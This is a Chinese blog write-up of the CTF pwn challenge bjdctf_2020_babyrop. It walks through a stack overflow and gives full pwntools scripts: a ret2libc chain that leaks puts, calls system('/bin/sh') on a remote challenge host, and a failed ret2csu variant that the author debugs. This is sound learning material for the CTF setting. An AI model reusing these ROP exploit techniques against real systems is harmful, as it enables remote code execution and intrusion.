编辑
2023-04-25
pwn
00
请注意,本文编写于 638 天前,最后修改于 631 天前,其中某些信息可能已经过时。

目录

疑惑

bjdctf_2020_babyrop 先检查文件保护:

image-20230411130100865

很明显就开启了栈不可执行,和partial relro:

  • 该ELF文件的各个部分被重新排序。内数据段(internal data sections)(如.got,.dtors等)置于程序数据段(program’s data sections)(如.data和.bss)之前;
  • 无 plt 指向的GOT是只读的;
  • GOT表可写(应该是与上面有所区别的)。

image-20230411130237468

很明显是64位,拖进ida查看:

image-20230411130333389

可以看到有两个函数,init和vuln:

查看init

image-20230411130512857

发现就是关闭缓冲区和打印两段文字

再查看vuln:

image-20230411130626716

这里可以看到有很明显的缓冲区溢出在read处。

这里我们就已经可以开始写exp了

在此之前可以再看看是否程序中直接给出了我们想要的东西:

image-20230411131048041

很明显也没有,那么我们基本可以进行ret2libc:

第一步先查找pop_rdi:

image-20230411131231039

因为题目中已经告诉我们是ubuntu16的系统,所以必然不需要在使用ret进行堆栈平衡。

所以有exp:

python
from pwn import* from LibcSearcher import* context(log_level = 'debug',arch = 'amd64',os= 'linux') io = remote('node4.buuoj.cn',27892) #io = process('./bjdctf_2020_babyrop') elf = ELF('./bjdctf_2020_babyrop') puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] vuln_addr = elf.symbols['main'] pop_rdi = 0x0400733 ret = 0x4004c9 payload1 = b'a'*(0x20+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr) io.recvuntil(b'Pull up your sword and tell me u story!\n') io.sendline(payload1) puts_addr = u64(io.recv(6).ljust(8,b'\x00')) print(hex(puts_addr)) libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts') system = libc_base + libc.dump('system') binsh = libc_base + libc.dump('str_bin_sh') #gdb.attach(io) payload2 = b'a'*(0x20+8)+flat([pop_rdi,binsh,system]) #io.recvuntil(b'Pull up your sword and tell me u story!\n') io.sendline(payload2) io.interactive()

这样在本地是打不通的,应该是跟本地的libc版本有关(我还调了老半天),打远程秒解。

image-20230411131646614


疑惑

在这里用ret2libc打通后,我突然想用ret2csu再打一遍

于是我写了下面这样的exp:

python
from pwn import* from LibcSearcher import* #context(log_level='debug',arch='amd64',os='linux') io = remote('node4.buuoj.cn',27892) #io = process('./bjdctf_2020_babyrop') elf = ELF('./bjdctf_2020_babyrop') puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] vuln_addr=elf.symbols['vuln'] csu_last= 0x40072A csu_former=0x400710 #def csu(rbx,rbp,r12,r13,r14,r15,addr): payload1 = b'a'*(0x28)+p64(csu_last)+p64(0)+p64(1)+p64(puts_plt)+p64(0)+p64(0)+p64(puts_got)+p64(csu_former)+b'a'*0x38+p64(vuln_addr) #io.sendline(payload) #gdb.attach(io) io.recvuntil(b'story!\n') #csu(0,1,puts_plt,0,0,puts_got,vuln_addr) io.sendline(payload1) puts_addr = u64(io.recv(6).ljust(8,b'\x00')) print(hex(puts_addr)) libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts') system = libc_base + libc.dump('system') binsh = libc_base + libc.dump('str_bin_sh') payload2= b'a'*(0x28)+p64(csu_last)+p64(0)+p64(1)+p64(system)+p64(0)+p64(0)+p64(binah)+p64(csu_former)+b'a'*0x38+p64(vuln_addr) #io.recvuntil(b'Pull up your sword and tell me u story!\n') #csu(0,1,system,0,0,binsh,vuln_addr) io.sendline(payload2) io.interactive()

这里我一开始也是define一个csu函数进行构造payload在发送,但是一直报错,一开始我以为是那个地方写错了,但是我看了好久还是没有问题。

然后开始了本地调试,然后就是我很不理解的地方:

image-20230411132135534

一直报错:

image-20230411132155177

我很不能理解为什么0x400710会变成0x7fff00400710,网上查了说是二进制符号位和aslr,但是如果是这样的话,那为什么我第一个p64(csu_last)可以成功跳转呢?这一点存疑

这一个问题不管是定义函数还是直接使用都会出现,甚至不用这个地址用一开始csu_last地址也会变成0x7fff,这让我怀疑这个ret或者说前面的寄存器的值是否是可以随便填写的。


这里地址错误的原因大抵是因为:

image-20230411201814690

只有0x44字节空间,不够填充。可以两次利用。

【注意】:即便是64位传参,def csu()时参数都在寄存器中,但是第二次覆盖b’a’*0x38必然还是不够,因为还是要溢出,但是如果将一压参的方式进进行覆盖或许就可以。

如果对你有用的话,可以打赏哦
打赏
ali pay
wechat pay

本文作者:Hyrink

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!